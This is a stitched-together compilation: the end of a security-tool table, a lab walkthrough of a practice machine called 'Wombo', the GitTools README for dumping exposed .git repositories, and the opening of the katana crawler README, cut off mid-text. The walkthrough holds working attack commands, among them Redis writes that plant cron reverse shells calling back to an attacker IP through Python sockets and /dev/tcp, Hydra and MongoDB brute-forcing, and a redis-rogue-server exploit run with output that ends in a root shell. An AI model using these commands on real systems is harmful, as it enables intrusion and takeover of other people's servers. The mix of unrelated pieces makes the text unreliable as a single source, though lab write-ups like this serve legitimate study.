draft.|![](https://img.shields.io/github/stars/nccgroup/HTTPSignatures?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[argumentinjectionhammer](https://github.com/nccgroup/argumentinjectionhammer)|A Burp Extension designed to identify argument injection vulnerabilities.|![](https://img.shields.io/github/stars/nccgroup/argumentinjectionhammer?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[BurpCustomizer](https://github.com/CoreyD97/BurpCustomizer)|Because just a dark theme wasn't enough!|![](https://img.shields.io/github/stars/CoreyD97/BurpCustomizer?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[Decoder-Improved](https://github.com/nccgroup/Decoder-Improved)|Improved decoder for Burp Suite|![](https://img.shields.io/github/stars/nccgroup/Decoder-Improved?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[Berserko](https://github.com/nccgroup/Berserko)|Burp Suite extension to perform Kerberos authentication|![](https://img.shields.io/github/stars/nccgroup/Berserko?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[pcap-burp](https://github.com/nccgroup/pcap-burp)|Pcap importer for Burp|![](https://img.shields.io/github/stars/nccgroup/pcap-burp?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[AuthMatrix](https://github.com/SecurityInnovation/AuthMatrix)|Automated HTTP Request Repeating With Burp Suite|![](https://img.shields.io/github/stars/SecurityInnovation/AuthMatrix?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[blackboxprotobuf](https://github.com/nccgroup/blackboxprotobuf)|Blackbox protobuf is a Burp Suite extension for decoding and modifying arbitrary protobuf messages without the protobuf type definition.|![](https://img.shields.io/github/stars/nccgroup/blackboxprotobuf?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[taborator](https://github.com/hackvertor/taborator)||![](https://img.shields.io/github/stars/hackvertor/taborator?label=%20)|[`oast`](/categorize/tags/oast.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[femida](https://github.com/wish-i-was/femida)||![](https://img.shields.io/github/stars/wish-i-was/femida?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[burp-piper](https://github.com/silentsignal/burp-piper)||![](https://img.shields.io/github/stars/silentsignal/burp-piper?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Kotlin](/images/kotlin.png)](/categorize/langs/Kotlin.md)| |Utils|[burp-send-to](https://github.com/bytebutcher/burp-send-to)||![](https://img.shields.io/github/stars/bytebutcher/burp-send-to?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |utils|[owasp-zap-jwt-addon](https://github.com/SasanLabs/owasp-zap-jwt-addon)||![](https://img.shields.io/github/stars/SasanLabs/owasp-zap-jwt-addon?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[Stepper](https://github.com/CoreyD97/Stepper)||![](https://img.shields.io/github/stars/CoreyD97/Stepper?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[inql](https://github.com/doyensec/inql)||![](https://img.shields.io/github/stars/doyensec/inql?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[community-scripts](https://github.com/zaproxy/community-scripts)||![](https://img.shields.io/github/stars/zaproxy/community-scripts?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[http-script-generator](https://github.com/h3xstream/http-script-generator)||![](https://img.shields.io/github/stars/h3xstream/http-script-generator?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[AWSSigner](https://github.com/NetSPI/AWSSigner)|Burp Extension for AWS Signing|![](https://img.shields.io/github/stars/NetSPI/AWSSigner?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[turbo-intruder](https://github.com/PortSwigger/turbo-intruder)||![](https://img.shields.io/github/stars/PortSwigger/turbo-intruder?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Kotlin](/images/kotlin.png)](/categorize/langs/Kotlin.md)| |Utils|[Web3 Decoder](https://github.com/nccgroup/web3-decoder)|Burp Extension for Web3|![](https://img.shields.io/github/stars/nccgroup/web3-decoder?label=%20)|[`web3`](/categorize/tags/web3.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |utils|[Neonmarker](https://github.com/kingthorin/neonmarker)||![](https://img.shields.io/github/stars/kingthorin/neonmarker?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[BurpSuiteLoggerPlusPlus](https://github.com/nccgroup/BurpSuiteLoggerPlusPlus)||![](https://img.shields.io/github/stars/nccgroup/BurpSuiteLoggerPlusPlus?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[burp-exporter](https://github.com/artssec/burp-exporter)||![](https://img.shields.io/github/stars/artssec/burp-exporter?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[knife](https://github.com/bit4woo/knife)|A burp extension that add some useful function to Context Menu 添加一些右键菜单让burp用起来更顺畅|![](https://img.shields.io/github/stars/bit4woo/knife?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| ## Thanks to (Contributor) WHW's open-source project and made it with ❤️ if you want contribute this project, please see [CONTRIBUTING.md](https://github.com/hahwul/WebHackersWeapons/blob/main/CONTRIBUTING.md) and Pull-Request with cool your contents. [![](/images/CONTRIBUTORS.svg)](https://github.com/hahwul/WebHackersWeapons/graphs/contributors)
# Wombo ## Table of Contents * [Summary](#summary) * [Enumerate](#enumerate) * [Ports](#ports) * [Services](#services) * [SSH](#ssh) * [HTTP](#http) * [Redis](#redis) * [MongoDB](#mongodb) * [OS](#os) * [Nmap OS Discovery Scan](#nmap-os-discovery-scan) * [Exploit](#exploit) * [Password Guessing](#password-guessing) * [Hydra](#hydra) * [EDB-ID-47195](#edb-id-47195) * [n0b0dycn POC](#n0b0dycn-poc) * [Explore](#explore) * [Escalate](#escalate) * [Lessons Learned](#lessons-learned) ## Summary * Hostname: wombo * Description: Wombo is full of the freshest hipster tech around. * IP Address: 192.168.94.69 * MAC Address: (ref:) * Domain: WORKGROUP * TCP Ports and Services * 22 * OpenSSH 7.4 * 80 * nginx 1.10.3 - Web Server * 6379 * Redis 5.0.9 - Remote Dictionary Server (database for key-value pairs) * 8080 * NodeBB - Forum Server * 27017 * MongoDB 4.0.18 - Database Management System * OS * Distro: Debian (ref: Nmap) * Kernel: Linux 4.9.0-12 (ref: redis-cli) * Architecture: x64 (ref: redis-cli) * Users (ref: post-exploitation) * root * Vulnerabilities and Exploits * EDB-ID-47195 (ref: searchsploit) * n0b0dycn POC * Flag * 2434fee2e5f03eb879441459da722770 * Hints * Scan all TCP ports. Be sure to enumerate service versions. * When remote access is enabled on this service, there is an easy RCE exploit for it. * If you are struggling with getting a shell back, check your LPORT. # Enumerate ## Setup ```bash TARGET=192.168.141.69 NAME=wombo new-ctf $NAME cd $NAME ``` ## Ports ```bash sudo nmap $TARGET -sS -sU --min-rate 1000 -oN scans/$NAME-nmap-initial sudo nmap $TARGET -sS -sU -p- --min-rate 1000 -oN scans/$NAME-nmap-complete sudo nmap $TARGET -sV $(print-open-ports-from-nmap-scan scans/$NAME-nmap-complete) -oN scans/$NAME-nmap-versions # output Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 08:30 EDT Nmap scan report for 192.168.94.69 Host is up (0.15s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) 53/tcp closed domain 80/tcp open http nginx 1.10.3 6379/tcp open redis Redis key-value store 5.0.9 8080/tcp open http-proxy 27017/tcp open mongod? 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ...snipped... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 59.05 seconds ``` ```bash sudo nmap 192.168.132.69 -A -oN scans/wombo-nmap-aggresive # output Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 20:25 EDT Nmap scan report for 192.168.132.69 Host is up (0.077s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 09:80:39:ef:3f:61:a8:d9:e6:fb:04:94:23:c9:ef:a8 (RSA) | 256 83:f8:6f:50:7a:62:05:aa:15:44:10:f5:4a:c2:f5:a6 (ECDSA) |_ 256 1e:2b:13:30:5c:f1:31:15:b4:e8:f3:d2:c4:e8:05:b5 (ED25519) 80/tcp open http nginx 1.10.3 |_http-server-header: nginx/1.10.3 |_http-title: Welcome to nginx! 6379/tcp open redis Redis key-value store 5.0.9 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found | X-DNS-Prefetch-Control: off | X-Frame-Options: SAMEORIGIN | X-Download-Options: noopen | X-Content-Type-Options: nosniff | X-XSS-Protection: 1; mode=block | Referrer-Policy: strict-origin-when-cross-origin | X-Powered-By: NodeBB | set-cookie: _csrf=GBWvU9kbJDa3ccsxrxabxjaQ; Path=/ | Content-Type: text/html; charset=utf-8 | Content-Length: 11098 | ETag: W/"2b5a-IuK5LKwukJtzaqg8jG8e3Y343yY" | Vary: Accept-Encoding | Date: Fri, 02 Jul 2021 00:25:46 GMT | Connection: close | <!DOCTYPE html> | <html lang="en-GB" data-dir="ltr" style="direction: ltr;" > | <head> | <title>Not Found | NodeBB</title> | <meta name="viewport" content="width&#x3D;device-width, initial-scale&#x3D;1.0" /> | <meta name="content-type" content="text/html; charset=UTF-8" /> | <meta name="apple-mobile-web-app-capable" content="yes" /> | <meta name="mobile-web-app-capable" content="yes" /> | <meta property="og:site_n | GetRequest: | HTTP/1.1 200 OK | X-DNS-Prefetch-Control: off | X-Frame-Options: SAMEORIGIN | X-Download-Options: noopen | X-Content-Type-Options: nosniff | X-XSS-Protection: 1; mode=block | Referrer-Policy: strict-origin-when-cross-origin | X-Powered-By: NodeBB | set-cookie: _csrf=RsoY7Vy2IMSQH72nY0eTpr-3; Path=/ | Content-Type: text/html; charset=utf-8 | Content-Length: 18181 | ETag: W/"4705-peFhQX9X3hk7CBURtCymmcdiI9k" | Vary: Accept-Encoding | Date: Fri, 02 Jul 2021 00:25:45 GMT | Connection: close | <!DOCTYPE html> | <html lang="en-GB" data-dir="ltr" style="direction: ltr;" > | <head> | <title>Home | NodeBB</title> | <meta name="viewport" content="width&#x3D;device-width, initial-scale&#x3D;1.0" /> | <meta name="content-type" content="text/html; charset=UTF-8" /> | <meta name="apple-mobile-web-app-capable" content="yes" /> | <meta name="mobile-web-app-capable" content="yes" /> | <meta property="og:site_name" content | HTTPOptions: | HTTP/1.1 200 OK | X-DNS-Prefetch-Control: off | X-Frame-Options: SAMEORIGIN | X-Download-Options: noopen | X-Content-Type-Options: nosniff | X-XSS-Protection: 1; mode=block | Referrer-Policy: strict-origin-when-cross-origin | X-Powered-By: NodeBB | Allow: GET,HEAD | Content-Type: text/html; charset=utf-8 | Content-Length: 8 | ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg" | Vary: Accept-Encoding | Date: Fri, 02 Jul 2021 00:25:45 GMT | Connection: close | GET,HEAD | RTSPRequest: | HTTP/1.1 400 Bad Request |_ Connection: close | http-robots.txt: 3 disallowed entries |_/admin/ /reset/ /compose |_http-title: Home | NodeBB 27017/tcp open mongodb MongoDB 4.0.18 | fingerprint-strings: | FourOhFourRequest, GetRequest: | HTTP/1.0 200 OK | Connection: close | Content-Type: text/plain | Content-Length: 85 | looks like you are trying to access MongoDB over HTTP on the native driver port. | mongodb: | errmsg | command serverStatus requires authentication | code | codeName |_ Unauthorized | mongodb-databases: | errmsg = command listDatabases requires authentication | ok = 0.0 | code = 13 |_ codeName = Unauthorized | mongodb-info: | MongoDB Build info | modules | versionArray | 2 = 18 | 1 = 0 | 0 = 4 | 3 = 0 | allocator = tcmalloc | version = 4.0.18 | buildEnvironment | ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-builtin-memcmp | cxx = /opt/mongodbtoolchain/v2/bin/g++: g++ (GCC) 5.4.0 | distarch = x86_64 | linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro | cc = /opt/mongodbtoolchain/v2/bin/gcc: gcc (GCC) 5.4.0 | target_arch = x86_64 | distmod = debian92 | target_os = linux | cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -std=c++14 | openssl | compiled = OpenSSL 1.1.0l 10 Sep 2019 | running = OpenSSL 1.1.0l 10 Sep 2019 | maxBsonObjectSize = 16777216 | bits = 64 | sysInfo = deprecated | storageEngines | 2 = mmapv1 | 1 = ephemeralForTest | 0 = devnull | 3 = wiredTiger | debug = false | ok = 1.0 | javascriptEngine = mozjs | gitVersion = 6883bdfb8b8cff32176b1fd176df04da9165fd67 | Server status | errmsg = command serverStatus requires authentication | ok = 0.0 | code = 13 |_ codeName = Unauthorized 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ...snipped... Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 3.X|4.X (91%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 Aggressive OS guesses: Linux 3.11 - 4.1 (91%), Linux 4.4 (91%), Linux 3.2.0 (90%), Linux 3.13 (88%), Linux 3.16 (88%), Linux 3.10 - 3.16 (86%), Linux 3.10 - 3.12 (85%), Linux 3.10 - 4.11 (85%), Linux 3.12 (85%), Linux 3.13 or 4.2 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 77.33 ms 192.168.49.1 2 77.35 ms 192.168.132.69 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.17 seconds ``` ## Services ### HTTP ```bash dirb http://$TARGET:80 -r -z10 -o scans/$NAME-dirb-common-80 # output END_TIME: Thu Jul 1 20:17:15 2021 DOWNLOADED: 4612 - FOUND: 0 ``` ```bash dirb http://$TARGET:8080 -r -z10 -o scans/$NAME-dirb-common-8080 # output ---- Scanning URL: http://192.168.132.69:8080/ ---- + http://192.168.132.69:8080/admin (CODE:302|SIZE:36) + http://192.168.132.69:8080/Admin (CODE:302|SIZE:36) + http://192.168.132.69:8080/ADMIN (CODE:302|SIZE:36) + http://192.168.132.69:8080/api (CODE:200|SIZE:3255) + http://192.168.132.69:8080/assets (CODE:301|SIZE:179) + http://192.168.132.69:8080/categories (CODE:200|SIZE:18970) + http://192.168.132.69:8080/chats (CODE:302|SIZE:28) (!) FATAL: Too many errors connecting to host (Possible cause: OPERATION TIMEOUT) ``` ```bash nikto -h 192.168.132.69 -p 80 -T 2 -Format txt -o scans/wombo-nikto-misconfig-80 # output - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.132.69 + Target Hostname: 192.168.132.69 + Target Port: 80 + Start Time: 2021-07-01 23:12:19 (GMT-4) --------------------------------------------------------------------------- + Server: nginx/1.10.3 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 1350 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2021-07-01 23:14:10 (GMT-4) (111 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ``` ```bash nikto -h 192.168.132.69 -p 8080 -T 2 -Format txt -o scans/wombo-nikto-misconfig-8080 # output - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.132.69 + Target Hostname: 192.168.132.69 + Target Port: 8080 + Start Time: 2021-07-01 23:15:38 (GMT-4) --------------------------------------------------------------------------- + Server: No banner retrieved + Retrieved x-powered-by header: NodeBB + Uncommon header 'x-dns-prefetch-control' found, with contents: off + Cookie _csrf created without the httponly flag + No CGI Directories found (use '-C all' to force check all possible dirs) + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (302) + Entry '/compose/' in robots.txt returned a non-forbidden or redirect HTTP code () + "robots.txt" contains 3 entries which should be manually viewed. + Allowed HTTP Methods: GET, HEAD + 1356 requests: 1 error(s) and 7 item(s) reported on remote host + End Time: 2021-07-01 23:18:46 (GMT-4) (188 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ``` ### Redis ```bash echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.141\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 192.168.141.69 -x set 1 redis-cli -h 192.168.141.69 config set dir /var/spool/cron/crontabs/ redis-cli -h 192.168.141.69 config set dbfilename root redis-cli -h 192.168.141.69 save ``` ```bash redis-cli -h 192.168.141.69 flushall echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.49.141/443 0>&1\n\n" | redis-cli -h 192.168.141.69 -x set 1 redis-cli -h 192.168.141.69 config set dir /var/spool/cron/ redis-cli -h 192.168.141.69 config set dbfilename root redis-cli -h 192.168.141.69 save ``` ```bash redis-cli -h 192.168.141.69 flushall echo -e "\n\n*/1 * * * * ping -c2 192.168.49.141 \n\n" | redis-cli -h 192.168.141.69 -x set 1 redis-cli -h 192.168.141.69 config set dir /var/spool/cron/ redis-cli -h 192.168.141.69 config set dbfilename root redis-cli -h 192.168.141.69 save ``` ### MongoDB ```bash sudo nmap 192.168.132.69 -p27017 --script mongodb-brute -oN scans/wombo-nmap-scripts-mongodb-brute # output Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 20:41 EDT Nmap scan report for 192.168.132.69 Host is up (0.086s latency). PORT STATE SERVICE 27017/tcp open mongod | mongodb-brute: | Accounts: No valid accounts found |_ Statistics: Performed 15177 guesses in 600 seconds, average tps: 24.9 Nmap done: 1 IP address (1 host up) scanned in 601.04 seconds ``` ## OS ### Nmap OS Discovery Scan ```bash sudo nmap $TARGET -O -oN scans/$NAME-nmap-os # output NSTR ``` # Exploit ## Password Guessing ### Hydra This did not work. ```bash hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form "/login?local=1:username=^USER^&password=^PASS^:Login Unsuccessful" # output NSTR ``` ## EDB-ID-47195 This module can be used to leverage the extension functionality added by Redis 4.x and 5.x to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis which called replication between master and slave. ### n0b0dycn POC This worked! ```bash mkdir n0b0dycn cd n0b0dycn git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-server/RedisModulesSDK/ make mv exp.so ../../exploit.so cd ../../ sudo python3 --lhost 192.168.141.69 --rhost 192.168.49.141 --exp exploit.so -v # output | ___ \ | (_) | ___ \ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig [info] TARGET 192.168.141.69:6379 [info] SERVER 192.168.49.141:8080 [info] Setting master... [<-] b'*3\r\n$7\r\nSLAVEOF\r\n$14\r\n192.168.49.141\r\n$4\r\n8080\r\n' [->] b'+OK\r\n' [info] Setting dbfilename... [<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n' [->] b'+OK\r\n' [->] b'*1\r\n$4\r\nPING\r\n' [<-] b'+PONG\r\n' [->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n' [<-] b'+OK\r\n' [->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n' [<-] b'+OK\r\n' [->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n53c88bb260c5a95b8f9ecc4701a957edb7236d44\r\n$1\r\n1\r\n' [<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$47888\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\xb4\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n' [info] Loading module... [<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n' [->] b'+OK\r\n' [info] Temerory cleaning up... [<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n' [->] b'+OK\r\n' [<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n' [->] b'+OK\r\n' [<-] b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nrm ./exp.so\r\n' [->] b'$1\r\ne\r\n' What do u want, [i]nteractive shell or [r]everse shell: i [info] Interact mode start, enter "exit" to quit. [<<] whoami [<-] b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n' [->] b'$6\r\n\x08root\n\r\n' [>>]root [<<] cat /root/root.txt [<-] b'*2\r\n$11\r\nsystem.exec\r\n$18\r\ncat /root/root.txt\r\n' [->] b'$0\r\n\r\n' [<<] cat /root/proof.txt [<-] b'*2\r\n$11\r\nsystem.exec\r\n$19\r\ncat /root/proof.txt\r\n' [->] b'$33\r\n2434fee2e5f03eb879441459da722770\n\r\n' [>>] 2434fee2e5f03eb879441459da722770 [<<] exit ``` # Explore NSTR # Escalate NSTR # Lessons Learned * A wombo, or word combination, is a combination on two or more words creating one succinct word that combines the meaning of its lesser parts (https://www.urbandictionary.com/define.php?term=wombo).
# GitTools This repository contains three small python/bash scripts used for the Git research. [Read about it here](http://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/) ## Finder You can use this tool to find websites with their .git repository available to the public ### Usage This python script identifies websites with publicly accessible ```.git``` repositories. It checks if the ```.git/HEAD``` file contains ```refs/heads```. ``` ./gitfinder.py -h usage: gitfinder.py [-h] [-i INPUTFILE] [-o OUTPUTFILE] [-t THREADS] optional arguments: -h, --help show this help message and exit -i INPUTFILE, --inputfile INPUTFILE input file -o OUTPUTFILE, --outputfile OUTPUTFILE output file -t THREADS, --threads THREADS threads ``` The input file should contain the targets one per line. The script will output discovered domains in the form of ```[*] Found: DOMAIN``` to stdout. ## Dumper This tool can be used to download as much as possible from the found .git repository from webservers which do not have directory listing enabled. ### Usage ``` ./gitdumper.sh -h [*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir] --git-dir=otherdir Change the git folder name. Default: .git ``` Note: This tool has no 100% guaranty to completely recover the .git repository. Especially if the repository has been compressed into ```pack```-files, it may fail. ## Extractor A small bash script to extract commits and their content from a broken repository. This script tries to recover incomplete git repositories: - Iterate through all commit-objects of a repository - Try to restore the contents of the commit - Commits are *not* sorted by date ### Usage ``` ./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump ``` where - ```/tmp/mygitrepo``` contains a ```.git``` directory - ```/tmp/mygitrepodump``` is the destination directory This can be used in combination with the ```Git Dumper``` in case the downloaded repository is incomplete. ## Demo Here's a small demo of the **Dumper** tool: [![asciicast](https://asciinema.org/a/24072.png)](https://asciinema.org/a/24072) ## Requirements * git * python * curl * bash * sed # License All tools are licensed using the MIT license. See LICENSE.md
<h1 align="center"> <img src="https://user-images.githubusercontent.com/8293321/196779266-421c79d4-643a-4f73-9b54-3da379bbac09.png" alt="katana" width="200px"> <br> </h1> <h4 align="center">A next-generation crawling and spidering framework</h4> <p align="center"> <a href="https://goreportcard.com/report/github.com/projectdiscovery/katana"><img src="https://goreportcard.com/badge/github.com/projectdiscovery/katana"></a> <a href="https://github.com/projectdiscovery/katana/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a> <a href="https://github.com/projectdiscovery/katana/releases"><img src="https://img.shields.io/github/release/projectdiscovery/katana"></a> <a href="https://twitter.com/pdiscoveryio"><img src="https://img.shields.io/twitter/follow/pdiscoveryio.svg?logo=twitter"></a> <a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a> </p> <p align="center"> <a href="#features">Features</a> • <a href="#installation">Installation</a> • <a href="#usage">Usage</a> • <a href="#scope-control">Scope</a> • <a href="#crawler-configuration">Config</a> • <a href="#filters">Filters</a> • <a href="https://discord.gg/projectdiscovery">Join Discord</a> </p> # Features ![image](https://user-images.githubusercontent.com/8293321/199371558-daba03b6-bf9c-4883-8506-76497c6c3a44.png) - Fast And fully configurable web crawling - **Standard** and **Headless** mode support - **JavaScript** parsing / crawling - Customizable **automatic form filling** - **Scope control** - Preconfigured field / Regex - **Customizable output** - Preconfigured fields - INPUT - **STDIN**, **URL** and **LIST** - OUTPUT - **STDOUT**, **FILE** and **JSON** ## Installation katana requires **Go 1.18** to install successfully. To install, just run the below command or download pre-compiled binary from [release page](https://github.com/projectdiscovery/katana/releases). ```console go install github.com/projectdiscovery/katana/cmd/katana@latest ``` **More options to install / run katana-** <details> <summary>Docker</summary> > To install / update docker to latest tag - ```sh docker pull projectdiscovery/katana:latest ``` > To run katana in standard mode using docker - ```sh docker run projectdiscovery/katana:latest -u https://tesla.com ``` > To run katana in headless mode using docker - ```sh docker run projectdiscovery/katana:latest -u https://tesla.com -system-chrome -headless ``` </details> ## Usage ```console katana -h ``` This will display help for the tool. Here are all the switches it supports. ```console Usage: ./katana [flags] Flags: INPUT: -u, -list string[] target url / list to crawl CONFIGURATION: -d, -depth int maximum depth to crawl (default 2) -jc, -js-crawl enable endpoint parsing / crawling in javascript file -ct, -crawl-duration int maximum duration to crawl the target for -kf, -known-files string enable crawling of known files (all,robotstxt,sitemapxml) -mrs, 